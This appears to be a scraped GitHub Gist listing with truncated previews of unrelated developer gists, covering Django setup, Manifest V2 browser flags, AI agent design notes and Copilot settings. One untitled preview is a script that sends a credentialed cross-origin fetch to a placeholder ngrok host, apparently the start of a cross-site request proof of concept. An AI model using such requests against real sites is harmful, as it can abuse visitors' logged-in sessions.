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@bennof
bennof / django_preact.md
Last active July 11, 2025 22:18
Django with preact and bulma

Create a Project using Django, preact and bulma

Python setup

Init folders:

mkdir project_name
cd project_name
pipenv --shell
pipenv install django djangorestframework django_rest_knox
@ishad0w
ishad0w / manifest-v2.md
Created November 17, 2024 02:59
macOS how to Enable Manifest V2 extensions for another year (until June 2025)

Arc

defaults write company.thebrowser.Browser.plist ExtensionManifestV2Availability -int 2

Chrome

defaults write com.google.Chrome.plist ExtensionManifestV2Availability -int 2

Chrome Beta

@harold-b
harold-b / IntelGfxUbuntu20.04MacBookPro10-1.md
Last active July 11, 2025 22:15
Enable Intel Graphics on Ubuntu 20.04 on MacBook Pro Mid 2012 Retina (10,1)
@ruvnet
ruvnet / performance.md
Last active July 11, 2025 22:13
AI Trading Platform with NeuralForecast Integration

Performance Analysis Report

NeuralForecast NHITS Integration Performance Validation

Date: June 2025
Analysis Period: Complete Integration Lifecycle
Report Type: Comprehensive Performance Validation


🎯 Key Features Documented

@ruvnet
ruvnet / Super-Turing.md
Last active July 11, 2025 22:13
a Rust implementation of a ferroelectric HfZrO-based synaptic resistor

Rust Implementation Plan for a 'Super-Turing' Spiking AI Chip Simulation

Imagine a chip that learns like a brain — not by uploading data to train on later, but by adjusting itself in real time, using almost no power. That’s what the new “Super-Turing” AI chip does. Instead of separating learning and inference like traditional neural networks (train first, deploy later), this chip learns and makes decisions at the same time, directly in hardware.

At the heart of this system is a device called a synstor — a synaptic transistor that acts both as memory and as a learning engine. It doesn’t just store weights like a normal neural network. It changes them dynamically based on electrical pulses, mimicking how biological synapses adjust when neurons fire. This change happens through a mechanism called Spike-Timing Dependent Plasticity (STDP) — if a signal comes in just before the output neuron fires, the connection strengthens; if it comes after, it weakens. All of this happens instantly and locally

@ruvnet
ruvnet / *claude.md
Last active July 11, 2025 22:13
The Claude-SPARC Automated Development System is a comprehensive, agentic workflow for automated software development using the SPARC methodology with the Claude Code CLI

Claude-SPARC Automated Development System For Claude Code

This file provides guidance to Claude Code (claude.ai/code) when working with code in this repository.

Overview

The SPARC Automated Development System (claude-sparc.sh) is a comprehensive, agentic workflow for automated software development using the SPARC methodology (Specification, Pseudocode, Architecture, Refinement, Completion). This system leverages Claude Code's built-in tools for parallel task orchestration, comprehensive research, and Test-Driven Development.

Features

@24601
24601 / Autonomous.md
Created July 11, 2025 22:12 — forked from ruvnet/Autonomous.md
PyTorch-Based AI Agent System with Advanced Reasoning and Autonomy

Designing a PyTorch-Based AI Agent System with Advanced Reasoning and Autonomy

Overview and Goals

We propose an AI agent architecture in PyTorch that integrates state-of-the-art components to meet the following goals: (1) advanced reasoning with transformer models, (2) ingestion of large documents or histories via long context windows, (3) persistent memory without traditional vector-database RAG, (4) tool use for actions (API calls, code execution, etc.) similar to Anthropic’s MCP standard, and (5) declarative, goal-driven behavior with autonomous planning. The system will be compatible with both CPU and GPU environments. Below, we detail recommended models, libraries, and design choices for each aspect, followed by an overall architecture and example implementation steps.

1. Transformer Models for Advanced Reasoning

Model Selection: Use modern transformer-based LLMs known for strong reasoning and multitasking. For example, Meta’s LLaMA 2 (open-source, 7B–70B parameters) or **Mist

@ruvnet
ruvnet / SPARC.md
Last active July 11, 2025 22:10
The SPARC framework is a structured methodology for rapidly developing highly functional and scalable projects by systematically progressing through Specification, Pseudocode, Architecture, Refinement, and Completion. It emphasizes comprehensive initial planning, iterative design improvements, and the strategic use of specialized tools and AI mo…

SPARC Framework Prompt Template

Introduction

You are an AI language model assisting in the development of a project using the SPARC framework, which consists of the following steps:

  1. Specification
  2. Pseudocode
  3. Architecture
  4. Refinement
<body></body>
<script>
(async () => {
const target = "https://XXX.ngrok-free.app";
// Warmup
await fetch(target, {
mode: "no-cors",
credentials: "include",
});
@okineadev
okineadev / commit-message-guidelines.md
Last active July 11, 2025 22:09
🤖 Copilot commit messages instructions for VS Code

Paste it to settings.json:

"github.copilot.chat.commitMessageGeneration.instructions": [
  {
    "text": "Follow the Conventional Commits format strictly for commit messages. Use the structure below:\n\n```\n<type>[optional scope]: <gitmoji> <description>\n\n[optional body]\n```\n\nGuidelines:\n\n1. **Type and Scope**: Choose an appropriate type (e.g., `feat`, `fix`) and optional scope to describe the affected module or feature.\n\n2. **Gitmoji**: Include a relevant `gitmoji` that best represents the nature of the change.\n\n3. **Description**: Write a concise, informative description in the header; use backticks if referencing code or specific terms.\n\n4. **Body**: For additional details, use a well-structured body section:\n   - Use bullet points (`*`) for clarity.\n   - Clearly describe the motivation, context, or technical details behind the change, if applicable.\n\nCommit messages should be clear, informative, and professional, aiding readability and project tracking."
  }
]